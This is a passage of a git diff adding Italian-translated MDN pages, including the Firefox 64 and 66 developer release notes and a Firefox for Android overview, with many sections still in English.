+ <li>New option in <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code> to show page actions by default.</li>
+ <li>New values for <code>protocol_handers</code>:
+  <ul>
+   <li>"ssb" for Secure Scuttlebutt communications</li>
+   <li>"dat" for DATproject</li>
+   <li>"ipfs", "ipns", "dweb" for IPFS</li>
+  </ul>
+ </li>
+ <li>New <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/privacy/websites">privacy.websites</a></code> setting "cookieConfig".</li>
+ <li>Support in <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies">cookies</a></code> API for <a href="/en-US/Add-ons/WebExtensions/API/cookies#First-party_isolation">first-party isolation</a>.</li>
+ <li>New option <code>upgradeToSecure</code> in <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest">webRequest</a></code>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<p><a href="https://www.fxsitecompat.com/en-CA/versions/59/">Site compatibility for Firefox 59</a></p>
+
+<h2 id="Older_versions">Older versions</h2>
+
+<p>{{Firefox_for_developers(58)}}</p>
diff --git a/files/it/mozilla/firefox/releases/64/index.html b/files/it/mozilla/firefox/releases/64/index.html
new file mode 100644
index 0000000000..dd7d4e1532
--- /dev/null
+++ b/files/it/mozilla/firefox/releases/64/index.html
@@ -0,0 +1,184 @@
+---
+title: Firefox 64 for developers
+slug: Mozilla/Firefox/Releases/64
+translation_of: Mozilla/Firefox/Releases/64
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary">Questo articolo fornisce informazioni riguardo i cambiamenti in Firefox 64 che interesseranno gli sviluppatori. Firefox 64 è stato rilasciato l' 11 Dicembre, 2018.</p>
+
+<h2 id="Changes_for_web_developers">Changes for web developers</h2>
+
+<h3 id="Developer_tools">Developer tools</h3>
+
+<ul>
+ <li>The <a href="/en-US/docs/Tools/Accessibility_inspector#Highlighting_of_UI_items">Accessibility info-bar</a> has been enhanced to include information about the color contrast ratio of text or images on the page ({{bug(1473037)}}).</li>
+ <li><a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a> device selection is now saved between sessions ({{bug(1248619)}}).</li>
+ <li>Resources that are potentially affected by <a href="/en-US/docs/Mozilla/Firefox/Privacy/Tracking_Protection">Tracking Protection</a> are now <a href="/en-US/docs/">indicated</a> in the <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a>. ({{bug(1333994)}})</li>
+ <li>The <a href="/en-US/docs/Tools/Web_Console">Web Console</a> got improvements around entering and evaluating code:
+  <ul>
+   <li><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Autocomplete">Autocomplete</a> for Console expressions is now case-insensitive ({{bug(672733)}}).</li>
+   <li>You can now step through the <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Command_history">Console expression history</a> with bash-like reverse search ({{bug(1024913)}}).</li>
+   <li><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">Evaluated code</a> in the Console is now syntax-highlighted in both the input and output ({{bug(1463669)}}).</li>
+  </ul>
+ </li>
+ <li>Stepping in the <a href="/en-US/docs/Tools/Debugger">JavaScript Debugger</a> also had some improvements:
+  <ul>
+   <li>The debugger now persists <a href="/en-US/docs/Tools/Debugger/UI_Tour#Scopes">expanded variables</a> while stepping through code ({{bug(1491471)}}).</li>
+   <li><a href="/en-US/docs/Tools/Debugger/How_to/Step_through_code">Stepping out</a> of a function in the Debugger now skips the return value. ({{bug(923975)}})</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="Removals">Removals</h4>
+
+<ul>
+ <li>The Developer Tools GCLI has been removed ({{bug(1429421)}}).</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Scrollbars">CSS Scrollbars</a> spec functionality has been enabled by default ({{bug(1492012)}}).</li>
+ <li>Interaction Media Features implemented, including <code><a href="/en-US/docs/Web/CSS/@media/pointer">pointer:coarse</a></code> ({{bug(1035774)}}). For <code><a href="/en-US/docs/Web/CSS/@media/any-pointer">any-pointer</a></code> and <code><a href="/en-US/docs/Web/CSS/@media/any-hover">any-hover</a></code> implementation, see {{bug(1483111)}}.</li>
+ <li>The <code><a href="/en-US/docs/Web/CSS/@media/prefers-reduced-motion">prefers-reduced-motion</a></code> media feature is now supported in Firefox for Android ({{bug(1478505)}}).</li>
+ <li>CSS {{cssxref("&lt;gradient&gt;")}} values now support multi-position color stop syntax, e.g. <code>yellow 25%, yellow 50%</code> can now be written <code>yellow 25% 50%</code> ({{bug(1352643)}}).</li>
+ <li>The {{cssxref("text-transform")}} property now accepts the <code>full-size-kana</code> value ({{bug(1498148)}}).</li>
+ <li>Support added for {{cssxref("appearance", "-webkit-appearance")}} to alleviate associated web compat issues ({{bug(1368555)}}).</li>
+ <li>Closely associated with the above update, we've also removed most of the Firefox-specific <code>-moz-appearance</code> values ({{bug(1496720)}}).</li>
+ <li>{{cssxref("display")}}: <code>list-item</code> is now supported on {{htmlelement("legend")}} elements ({{bug(1486602)}}).</li>
+ <li>SVG <code>path()</code>s, as usable in {{cssxref("offset-path")}}, are now animatable ({{bug(1486094)}}).</li>
+ <li>If a selector chain or group includes a <code>-webkit-</code>prefixed pseudo-element, that pseudo-element no longer invalidates it (see {{bug(1424106)}} for the details, and {{bug(1486325)}} for enabling this feature).</li>
+</ul>
+
+<h4 id="Removals_2">Removals</h4>
+
+<ul>
+ <li>The non-standard <a href="/en-US/docs/Mozilla/Gecko/Chrome/CSS/display-xul"><code style="white-space: nowrap;">-moz-box</code> and <code style="white-space: nowrap;">-moz-inline-box</code></a> {{CSSxRef("display")}} values have been hidden from web content ({{bug(1496961)}}).</li>
+ <li>The non-standard {{CSSxRef("::-moz-tree")}} <a href="/en-US/docs/Web/CSS/Pseudo-elements" style="white-space: nowrap;">pseudo-elements</a> have been hidden from web content ({{bug(1496961)}}).</li>
+ <li>The <code>layout.css.filters.enabled</code> preference has been removed; <a href="/en-US/docs/Web/CSS/Filter_Effects">CSS filters</a> can no longer be disabled ({{bug(1408841)}}).</li>
+ <li>A previous change — to swap the values of the 2-value {{cssxref("overflow")}} syntax so block is specified first and inline second ({{bug(1481866)}}) — has been reverted ({{bug(1492567)}}). See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1481866#c14">Bug 1481866 comment 14</a> for why.</li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>The TC39 <a href="https://github.com/tc39/proposal-well-formed-stringify">Well-formed JSON.stringify</a> proposal has been implemented, to prevent {{jsxref("JSON.stringify")}} from returning ill-formed Unicode strings ({{bug(1469021)}}).</li>
+ <li>Proxied functions can now be be passed to {{jsxref("Function.prototype.toString")}}<code>.call()</code> ({{bug(1440468)}}).</li>
+ <li>In the {{jsxref("WebAssembly.Global")}} constructor, if no value is specified a typed 0 value is used. This is specified by the <a href="https://webassembly.github.io/spec/js-api/#defaultvalue"><code>DefaultValue</code> algorithm</a> ({{bug(1490286)}}).</li>
+</ul>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>A number of changes related to the {{domxref("Fullscreen_API", "Fullscreen API", "", "1")}} have been implemented:
+  <ul>
+   <li>The API has been unprefixed ({{bug(1269276)}}).</li>
+   <li>The {{domxref("Element.requestFullscreen()")}} and {{domxref("Document.exitFullscreen()")}} methods both now return a {{jsxref("Promise")}}, which is resolved when the mode change is complete ({{bug(1188256)}} and {{bug(1491212)}}).</li>
+   <li>Previously, {{domxref("fullscreenchange")}} and {{domxref("fullscreenerror")}} events were dispatched to the {{domxref("Document")}} first, then the {{domxref("Element")}}. This has been reversed so that the element gets the event first. This matches the latest specification as well as the behavior of Google Chrome ({{bug(1375319)}}).</li>
+  </ul>
+ </li>
+ <li>The {{domxref("WebVR_API", "WebVR API", "", "1")}} (1.1) is now re-enabled in macOS ({{bug(1476091)}}).</li>
+ <li>{{domxref("Window.screenLeft")}} and {{domxref("Window.screenTop")}} have been implemented, as aliases of {{domxref("Window.screenX")}} and {{domxref("Window.screenY")}} ({{bug(1498860)}}).</li>
+ <li>The {{domxref("XMLHttpRequest.getAllResponseHeaders()")}} method now returns header names all in lowercase, as per spec ({{bug(1398718)}}).</li>
+ <li>The legacy <code>HTMLAllCollection</code> interface has been updated as per recent <a href="https://html.spec.whatwg.org/multipage/common-dom-interfaces.html#htmlallcollection">spec updates</a> ({{bug(1398354)}}).</li>
+ <li>{{domxref("Navigator.buildID")}} now returns a fixed timestamp as a privacy measure ({{bug(583181)}}).</li>
+</ul>
+
+<h4 id="Service_workers">Service workers</h4>
+
+<ul>
+ <li>The {{domxref("ServiceWorkerContainer.startMessages()")}} method has been implemented ({{bug(1263734)}}).</li>
+</ul>
+
+<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4>
+
+<ul>
+ <li>The {{domxref("PannerNode.refDistance")}}, {{domxref("PannerNode.maxDistance")}}, {{domxref("PannerNode.rolloffFactor")}}, and {{domxref("PannerNode.coneOuterGain")}} properties now correctly throw exceptions when set to values outside their accepted ranges ({{bug(1487963)}}).</li>
+ <li>{{domxref("RTCRtpEncodingParameters")}} settings changed via {{domxref("RTCRtpSender.setParameters()")}} used to not update if the changes were made during a call. They will now update live, without renegotiation ({{bug(1253499)}}).</li>
+ <li>{{domxref("RTCIceCandidateStats.relayProtocol")}} has been implemented — this is the standardized version of {{domxref("RTCIceCandidateStats.mozLocalTransport")}}, which has now been deprecated ({{bug(1435789)}}).</li>
+</ul>
+
+<h4 id="Removals_3">Removals</h4>
+
+<ul>
+ <li>The {{domxref("Window.event")}} property, added in Firefox 63 to aid with web compat issues, has been put behind a pref (<code>dom.window.event.enabled</code>) and disabled by default in release versions for now due to other issues that have been uncovered ({{bug(1493869)}}). Note that this was actually done late in the Firefox 63 release cycle, but we are mentioning it here just in case.</li>
+ <li>The {{domxref("LocalMediaStream")}} interface and its <code>stop()</code> method have been removed ({{bug(1258143)}}). This method is no longer available with the deprecation of <code>LocalMediaStream</code>. See {{SectionOnPage("/en-US/docs/Web/API/MediaStreamTrack/stop", "Stopping a video stream")}} to learn how to stop an entire stream.</li>
+ <li>The <code>AudioStreamTrack</code> and <code>VideoStreamTrack</code> interfaces have been removed, as both have been deprecated for some time ({{bug(1377146)}}). Their functionality has been merged into {{domxref("MediaStreamTrack")}}; tracks are now identified by the value of their {{domxref("MediaStreamTrack.kind", "kind")}} property, such as <code>audio</code> or <code>video</code>.</li>
+</ul>
+
+<h3 id="Security">Security</h3>
+
+<ul>
+ <li>The Symantec CA Distrust plan has been implemented (see {{bug(1409257)}}; see also the <a href="https://groups.google.com/forum/#!topic/mozilla.dev.security.policy/FLHRT79e3XE/discussion">Mozilla’s Plan for Symantec Roots</a> discussion for more details).</li>
+ <li>{{httpheader("Referrer-Policy")}} can now be used to govern resources fetched via stylesheets ({{bug(1330487)}}) — see {{SectionOnPage("/en-US/docs/Web/HTTP/Headers/Referrer-Policy", "Integration with CSS")}} for more information.</li>
+</ul>
+
+<h3 id="Plugins">Plugins</h3>
+
+<p><em>No changes.</em></p>
+
+<h2 id="Changes_for_add-on_developers">Changes for add-on developers</h2>
+
+<h3 id="API_changes">API changes</h3>
+
+<h4 id="Menus">Menus</h4>
+
+<ul>
+ <li>A new API, <code>browser.menus.overrideContext()</code>, can be called from the <code>contextmenu</code> DOM event to set a custom context menu in extension pages. This API allows extensions to hide all default Firefox menu items in favor of providing a custom context menu UI. This context menu can consist of multiple top-level menu items from the extension, and may optionally include tab or bookmark context menu items from other extensions. See <a href="https://blog.mozilla.org/addons/2018/11/08/extensions-in-firefox-64/#cm">this blog post</a> for more details.
+
+  <ul>
+   <li><code>browser.menus.overrideContext()</code> was implemented in ({{bug(1280347)}}).</li>
+   <li>The <code>showDefaults: false</code> option, which can be used to hide the default context menu options, was implemented in ({{bug(1367160)}}).</li>
+  </ul>
+ </li>
+ <li>You can now restrict where context menus can appear in an add-on using the new <code>viewTypes</code> property in {{WebExtAPIRef("menus.create()")}} and {{WebExtAPIRef("menus.update()")}} ({{bug(1416839)}}).</li>
+ <li>{{WebExtAPIRef("menus.update()")}} can now be used to update the icon of an existing menu item ({{bug(1414566)}}).</li>
+ <li>Extensions can now detect which mouse button was used when a menu item was clicked — this can be found using the new <code>button</code> property of {{WebExtAPIRef("menus.OnClickData")}} ({{bug(1469148)}}).</li>
+</ul>
+
+<h4 id="Windows">Windows</h4>
+
+<ul>
+ <li>The {{WebExtAPIRef("windows.create()")}} method now has a new option available — <code>cookieStoreId</code> — which specifies the <code>CookieStoreId</code> to use for all tabs that were created when the window is opened ({{bug(1393570)}}).</li>
+</ul>
+
+<h4 id="Privacy">Privacy</h4>
+
+<ul>
+ <li>The {{WebExtAPIRef("privacy.websites")}} <code>cookieConfig</code> property is an object that can accept a <code>behavior</code> property — this property can now take a new value, <code>reject_trackers</code>, which instructs the extension to reject tracking cookies ({{bug(1493057)}}).</li>
+</ul>
+
+<h4 id="devtools.panels_API">devtools.panels API</h4>
+
+<ul>
+ <li>The <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels/elements">devtools.panels.elements</a></code> <code>Sidebar.setPage()</code> method is now supported ({{bug(1398734)}}).</li>
+</ul>
+
+<h3 id="Manifest_changes">Manifest changes</h3>
+
+<ul>
+ <li>The new <code>pinned</code> property of the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code> manifest key enables extensions to control whether their page actions should be pinned to the location bar on install or not ({{bug(1494135)}}).</li>
+ <li>In native manifests on Windows, the 32-bit registry view (<a class="external external-icon" href="https://en.wikipedia.org/wiki/WoW64#Registry_and_file_system" rel="noopener">Wow6432Node)</a> will be checked first for registry keys, followed by the "native" registry view; you should use whichever is appropriate for your application ({{bug(1494709)}}).</li>
+ <li>The <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/chrome_settings_overrides">chrome_settings_overrides</a></code> field's <code>search_provider</code> object can now include new properties — <code>suggest_url</code> and <code>suggest_url_post_params</code> ({{bug(1486819)}}), and <code>search_url_post_params</code>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-CA/versions/64/">Site compatibility for Firefox 64</a></li>
+</ul>
+
+<h2 id="Older_versions">Older versions</h2>
+
+<p>{{Firefox_for_developers(64)}}</p>
diff --git a/files/it/mozilla/firefox/releases/66/index.html b/files/it/mozilla/firefox/releases/66/index.html
new file mode 100644
index 0000000000..85441c5ce4
--- /dev/null
+++ b/files/it/mozilla/firefox/releases/66/index.html
@@ -0,0 +1,156 @@
+---
+title: Firefox 66 for developers
+slug: Mozilla/Firefox/Releases/66
+translation_of: Mozilla/Firefox/Releases/66
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary"><span class="tlid-translation translation" lang="it"><span title="">Questo articolo fornisce informazioni sulle modifiche in Firefox 66 che interesseranno gli sviluppatori.</span></span> <span class="tlid-translation translation" lang="it"><span title="">Firefox 66 è l'attuale</span></span> <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#beta" rel="noopener">versione Beta di Firefox</a>, <span class="tlid-translation translation" lang="it"><span title=""> sarà disponibile</span></span> <a href="https://wiki.mozilla.org/RapidRelease/Calendar#Future_branch_dates" rel="noopener">19 Marzo del 2019</a>.</p>
+
+<h2 id="Modifiche_per_gli_sviluppatori_web"><span class="tlid-translation translation" lang="it"><span title="">Modifiche per gli sviluppatori web</span></span></h2>
+
+<h3 id="Strumenti_di_sviluppo"><span class="tlid-translation translation" lang="it"><span title="">Strumenti di sviluppo</span></span></h3>
+
+<ul>
+ <li>JavaScript getters can now be executed from the auto-completion popup in the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> ({{bug(1499289)}}).</li>
+ <li>The Window methods {{domxref("Window.alert()", "alert()")}}, {{domxref("Window.prompt()","prompt()")}}, and {{domxref("Window.confirm()","confirm()")}} now work again in <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>, after a period of being broken ({{bug(1273997)}}).</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>UTF-8-encoded HTML (and plain text) files loaded from <code>file:</code> URLs are now supported without <code>&lt;meta charset="utf-8"&gt;</code> or the UTF-8 BOM, making it easier to work on such files locally before uploading them to a server. You still need to make sure that the server sends <code>charset=utf-8</code> in the <code>Content-Type</code> HTTP header for such files, otherwise the detection mechanism used for local files would break incremental loading in the network case ({{bug(1071816)}}).</li>
+</ul>
+
+<h4 id="Removals">Removals</h4>
+
+<ul>
+ <li>The <code>x-moz-errormessage</code> attribute has been removed from the {{HTMLElement("input")}} element ({{bug(1513890)}}). You should use  {{domxref("Constraint_validation", "Constraint validation features", "", "1")}} to implement custom validation messages instead.</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li><a href="https://drafts.csswg.org/css-scroll-anchoring/">Scroll anchoring</a> has been implemented in Firefox Desktop (but not mobile yet), which includes the {{cssxref("overflow-anchor")}} property ({{bug(1305957)}}).</li>
+ <li>We've implemented the case-sensitive <a href="/en-US/docs/Web/CSS/Attribute_selectors">attribute selector</a> modifier, <code>s</code> ({{Bug(1512386)}}).</li>
+ <li>Several <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">logical property</a> shorthands have landed, along with the flow-relative border radius properties:
+  <ul>
+   <li>{{cssxref("padding-block")}} and {{cssxref("padding-inline")}} ({{bug(1519847)}}).</li>
+   <li>{{cssxref("margin-block")}} and {{cssxref("margin-inline")}} ({{bug(1519944)}}).</li>
+   <li>{{cssxref("inset")}}, {{cssxref("inset-block")}}, and {{cssxref("inset-inline")}} ({{bug(1520229)}}).</li>
+   <li>{{cssxref("border-block-color")}}, {{cssxref("border-block-style")}}, {{cssxref("border-block-width")}}, {{cssxref("border-inline-color")}}, {{cssxref("border-inline-style")}}, and {{cssxref("border-inline-width")}} ({{bug(1520236)}}).</li>
+   <li>{{cssxref("border-block")}} and {{cssxref("border-inline")}} ({{bug(1520396)}}).</li>
+   <li>{{cssxref("border-start-start-radius")}}, {{cssxref("border-start-end-radius")}}, {{cssxref("border-end-start-radius")}}, and {{cssxref("border-end-end-radius")}} ({{bug(1520684)}}).</li>
+  </ul>
+ </li>
+ <li>We implemented the {{cssxref("@media/overflow-inline", "overflow-inline")}} and {{cssxref("@media/overflow-block", "overflow-block")}} media queries ({{Bug(1422235)}}).</li>
+ <li>{{cssxref("grid-template-columns")}} and {{cssxref("grid-template-rows")}} are now animatable, as per the rules set out in their specs ({{bug(1348519)}}).</li>
+ <li>We now support {{cssxref("calc")}} with percentages for table cells and column widths ({{bug(957915)}}).</li>
+ <li>The <code>min-content</code> and <code>max-content</code> keywords are now available unprefixed ({{bug(1322780)}}). These can be set on:
+  <ul>
+   <li>{{cssxref("width")}}</li>
+   <li>{{cssxref("height")}}</li>
+   <li>{{cssxref("flex-basis")}}</li>
+   <li>{{cssxref("min-width")}}</li>
+   <li>{{cssxref("max-width")}}</li>
+   <li>{{cssxref("min-height")}}</li>
+   <li>{{cssxref("max-height")}}</li>
+   <li>{{cssxref("min-block-size")}}</li>
+   <li>{{cssxref("min-inline-size")}}</li>
+   <li>{{cssxref("max-block-size")}}</li>
+   <li>{{cssxref("max-inline-size")}}</li>
+   <li>{{cssxref("block-size")}}</li>
+   <li>{{cssxref("inline-size")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No additions.</em></p>
+
+<h4 id="Removals_2">Removals</h4>
+
+<ul>
+ <li>We removed support for the <code><a href="/en-US/docs/XML_introduction/xml:base">xml:base</a></code> attribute ({{Bug(903372)}}).</li>
+</ul>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>No changes.</p>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="New_APIschanges">New APIs/changes</h4>
+
+<ul>
+ <li>Autoplaying audio will be blocked by default soon after 66 becomes the release version of Firefox ({{bug(1487844)}}, see {{bug(1535667)}} for rollout details). The feature will be rolled out gradually to users until everyone has it.</li>
+</ul>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>The {{domxref("HTMLSlotElement.assignedElements()")}} method has been implemented ({{bug(1425685)}}).</li>
+ <li>The {{domxref("TextEncoder.encodeInto()")}} method has been implemented ({{bug(1514664)}}).</li>
+</ul>
+
+<h4 id="DOM_events">DOM events</h4>
+
+<ul>
+ <li>The {{domxref("InputEvent.inputType")}} property has been implemented ({{bug(1447239)}}).</li>
+ <li>The {{domxref("Window.event")}} and {{domxref("Event.returnValue")}} properties — originally proprietary IE features, then also supported across other browsers for compatibility purposes — have been re-introduced in Firefox 66, after first being added in versions 63 and 64 respectively but then removed again due to compatibility issues. </li>
+ <li>From 66 onwards, when the {{domxref("KeyboardEvent.keyCode")}} property of the {{event("keypress")}} event object is 0, the value will be the same as {{domxref("KeyboardEvent.charCode")}}. Conversely, when <code>charCode</code> is 0, it will be the same as <code>keyCode</code>. This mirroring behavior matches other browsers and is expected to solve most associated compatibility issues, however user agent sniffing might cause further issues in some JavaScript libraries. Note that in spec terms, we've switched from the <em>split model</em> to the <em>conflated model</em> (see <a href="https://w3c.github.io/uievents/#determine-keypress-keyCode">How to determine keyCode for keypress events</a> in the UI Event spec).</li>
+</ul>
+
+<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4>
+
+<ul>
+ <li>The {{domxref("MediaDevices")}} method {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, available as <code>navigator.mediaDevices.getDisplayMedia()</code>, has been added and synchronized with the specification. This method lets you capture a screen or part of a screen as a {{domxref("MediaStream")}} for manipulation or sharing ({{bug(1321221)}}).</li>
+ <li>As a step toward eventually deprecating the Firefox-specific {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}-based method for capturing screen and window contents, the non-standard <code>mediaSource</code> constraint now treats the values <code>screen</code> and <code>window</code> identically. Both now present a list of both screens and windows for the user to choose from ({{bug(1474376)}}).</li>
+ <li>{{domxref("RTCRtpStreamStats.qpSum", "qpSum")}} has been added to local outbound {{domxref("RTCRTPStreamStats")}} objects. This measures the total of the Quantization Parameter values for every frame sent or received on the video track. The higher this number, the more compressed the stream probably is ({{bug(1347070)}}).</li>
+ <li>In a step along the road toward implementing support for Feature Policy in a future Firefox update, {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} can no longer be used in situations in which there is no proper origin for the content, such as when called from a sandboxed {{HTMLElement("iframe")}} or from a <code>data</code> URL entered into the address bar by the user. For more specifics and details, see {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getUserMedia", "Security")}} ({{bug(1371741)}}).</li>
+</ul>
+
+<h4 id="Removals_3">Removals</h4>
+
+<ul>
+ <li>The legacy WebRTC {{domxref("PeerConnection.getStats()")}} method has been removed, along with associated types ({{bug(1328194)}}).</li>
+</ul>
+
+<h3 id="Networking">Networking</h3>
+
+<ul>
+ <li>The default value of the {{httpheader("Accept")}} header has been changed to <code>*/*</code> ({{bug(1417463)}}).</li>
+</ul>
+
+<h3 id="Security">Security</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="Plugins">Plugins</h3>
+
+<p><em>No changes.</em></p>
+
+<h2 id="Changes_for_add-on_developers">Changes for add-on developers</h2>
+
+<h3 id="API_changes">API changes</h3>
+
+<h4 id="Menus">Menus</h4>
+
+<ul>
+ <li>Extension menu items of the "bookmark" {{WebExtAPIRef("menus.ContextType", "type")}} will also appear in the Bookmarks sidebar (<kbd>Ctrl</kbd> + <kbd>B</kbd>) and Library window (<kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd>) ({{bug(1419195)}}).</li>
+</ul>
+
+<h3 id="Manifest_changes">Manifest changes</h3>
+
+<p><em>No changes.</em></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-CA/versions/66/">Site compatibility for Firefox 66</a></li>
+</ul>
+
+<h2 id="Older_versions">Older versions</h2>
+
+<p>{{Firefox_for_developers(65)}}</p>
diff --git a/files/it/mozilla/firefox/releases/index.html b/files/it/mozilla/firefox/releases/index.html
new file mode 100644
index 0000000000..a7185bc5e5
--- /dev/null
+++ b/files/it/mozilla/firefox/releases/index.html
@@ -0,0 +1,10 @@
+---
+title: Firefox developer note di rilascio
+slug: Mozilla/Firefox/Releases
+tags:
+  - Firefox
+translation_of: Mozilla/Firefox/Releases
+---
+<div>{{FirefoxSidebar}}</div><p>Questa pagina fornisce i link "Firefox X per sviluppatori" agli articoli di ogni rilascio Firefox. Queste note ci mostrano quali funzionalità saranno aggiunte e quali bug verranno eliminati in ogni versione di Firefox.</p>
+
+<div class="multiColumnList">{{ListSubpages("",1,0,1)}}</div>
diff --git a/files/it/mozilla/firefox_for_android/index.html b/files/it/mozilla/firefox_for_android/index.html
new file mode 100644
index 0000000000..15240f6c30
--- /dev/null
+++ b/files/it/mozilla/firefox_for_android/index.html
@@ -0,0 +1,66 @@
+---
+title: Firefox per Android
+slug: Mozilla/Firefox_for_Android
+translation_of: Mozilla/Firefox_for_Android
+---
+<p>Per molte persone i device mobili sono la fonte primaria, o anche l' unica, per l' accesso al Web.</p>
+
+<p><a class="link-https" href="https://www.mozilla.org/en-US/mobile/">Firefox for Android</a> (<span id="result_box" lang="it"><span>nome in codice</span> <span class="hps">Fennec</span></span>) è open, hackable, basata sugli standard web, <span id="result_box" lang="it"><span>come</span> <span class="hps">Firefox</span> <span class="hps">desktop</span></span>.</p>
+
+<p><span id="result_box" lang="it"><span class="hps">Firefox per</span> <span class="hps">Android</span> basa  <span class="hps">la sua interfaccia</span> <span class="hps">utente su quella nativa  di</span> <span class="hps">Android</span> <span class="hps">widgets</span><span>, invece di</span> <span class="hps">XUL</span><span>:</span> <span class="hps">questo</span> <span class="hps">migliora</span> <span class="hps">notevolmente</span> <span class="hps">le prestazioni</span><span>,</span> <span class="hps">soprattutto</span> <span class="hps">in tempo</span> <span class="hps">di avvio</span><span>,</span> <span class="hps">e utilizzo della memoria</span><span>.</span> <span class="hps">Per il momento</span> <span class="hps">questa versione</span> <span class="hps">si rivolge</span> <span class="hps">solo a</span> <span class="hps">telefoni</span><span>,</span> <span class="hps">mentre la versione</span> <span class="hps">tablet</span> <span class="hps">utilizza ancora</span> <span class="hps">XUL</span><span>.</span> <span class="hps">In futuro</span><span>,</span> <span class="hps">si prevede di</span> <span class="hps">sostituire</span> <span class="hps">ufficialmente la</span> <span class="hps">versione dell' interfaccia utente nativa</span> anche <span class="hps">sui tablet</span><span class="hps">.</span></span></p>
+
+<h2 id="Contribuire_a_Firefox_per_Android."><span class="short_text" id="result_box" lang="it"><span class="hps">Contribuire</span> <span class="hps">a Firefox</span> <span class="hps">per Android.</span></span></h2>
+
+<p><span id="result_box" lang="it"><span class="hps">Il</span> <span class="hps">principale punto di partenza</span> <span class="hps">per informazioni su</span> <span class="hps">Firefox per</span> <span class="hps">Android</span> <span class="hps">è il</span> <span class="hps">progetto stesso</span></span> <a class="link-https" href="https://wiki.mozilla.org/Mobile">pagina Wiki del progetto</a>.</p>
+
+<p><span id="result_box" lang="it"><span class="hps">Potete</span> <span class="hps">aiutarci a</span> <span class="hps">creare e migliorare</span> <span class="hps">Firefox per</span> <span class="hps">Android</span></span>:</p>
+
+<ul>
+ <li>aiutaci <a class="link-https" href="https://wiki.mozilla.org/Mobile/Testdrivers_Program">con il testing dell' applicazione</a>
+
+  <ul>
+   <li>testare i principali siti web per una maggiore compatibilità con gecko - guarda <a href="https://developer-new.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing" title="https://developer-new.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing">qui</a> per maggiori informazioni</li>
+  </ul>
+ </li>
+ <li>contatta il team tramite  <a class="link-irc" href="irc://irc.mozilla.org/#mobile">IRC</a> o entrate nel nostro <a class="link-https" href="https://wiki.mozilla.org/Mobile/Notes">Wednesday development meeting</a></li>
+ <li>rimani aggiornato sulle notizie del progetto <a class="external" href="http://planet.firefox.com/mobile/">planet firefox</a> e <a class="link-https" href="https://twitter.com/#!/mozmobile" title="https://twitter.com/#!/mozmobile">Twitter</a></li>
+ <li><a href="https://wiki.mozilla.org/Mobile/Fennec/Android" title="https://wiki.mozilla.org/Mobile/Fennec/Android">build and hack on Firefox for Android</a> (Fennec)</li>
+</ul>
+
+<h2 id="Sviluppare_per_il_web_mobile">Sviluppare per il web mobile</h2>
+
+<p><span class="short_text" id="result_box" lang="it"><span class="hps">Abbiamo</span> <span class="hps">iniziato a mettere</span> <span class="hps">insieme una guida</span> <span class="hps">per</span></span> <a href="/En/Mobile" title="En/Mobile">progettare siti web per dispositivi mobili</a>.</p>
+
+<p><span id="result_box" lang="it"><span class="hps">Con Firefox</span> <span class="hps">per Android,</span> <span class="hps">hai</span> <span class="hps">accesso a un</span> <span class="hps">certo numero</span> <span class="hps">di API</span> <span class="hps">che espongono</span> <span class="hps">le funzionalità</span> <span class="hps">di base</span> <span class="hps">del dispositivo</span> per <span class="hps">colmare il divario tra</span> <span class="hps">il Web e</span> <span class="hps">le applicazioni native</span><span>:</span></span></p>
+
+<ul>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/" title="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Batteria</a></li>
